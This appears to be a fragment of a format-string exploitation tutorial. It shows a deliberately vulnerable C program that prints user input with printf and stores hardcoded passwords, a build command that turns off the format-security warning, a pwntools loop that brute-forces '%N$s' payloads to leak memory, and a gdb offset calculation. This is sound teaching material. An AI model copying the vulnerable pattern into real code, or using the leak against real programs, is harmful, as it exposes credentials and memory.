复制 #include <stdio.h>
#include <string.h>
char bss_password[ 20 ] = "hardcodedPassBSS" ; // Password in BSS
int main () {
char stack_password[ 20 ] = "secretStackPass" ; // Password in stack
char input1[ 20 ] , input2[ 20 ];
printf( "Enter first password: " ) ;
scanf( " %19s " , input1) ;
printf( "Enter second password: " ) ;
scanf( " %19s " , input2) ;
// Vulnerable printf
printf(input1) ;
printf( "\n" ) ;
// Check both passwords
if ( strcmp(input1 , stack_password) == 0 && strcmp(input2 , bss_password) == 0 ) {
printf( "Access Granted.\n" ) ;
} else {
printf( "Access Denied.\n" ) ;
}
return 0 ;
}
复制 clang -o fs-read fs-read.c -Wno-format-security
复制 from pwn import *
for i in range ( 100 ):
print ( f "Try: { i } " )
payload = f "% { i } $s \n a" . encode ()
p = process ( "./fs-read" )
p . sendline (payload)
output = p . clean ()
print (output)
p . close ()
复制 > print 0xaaaaaaac12b2 - 0xaaaaaaac0048
$1 = 0x126a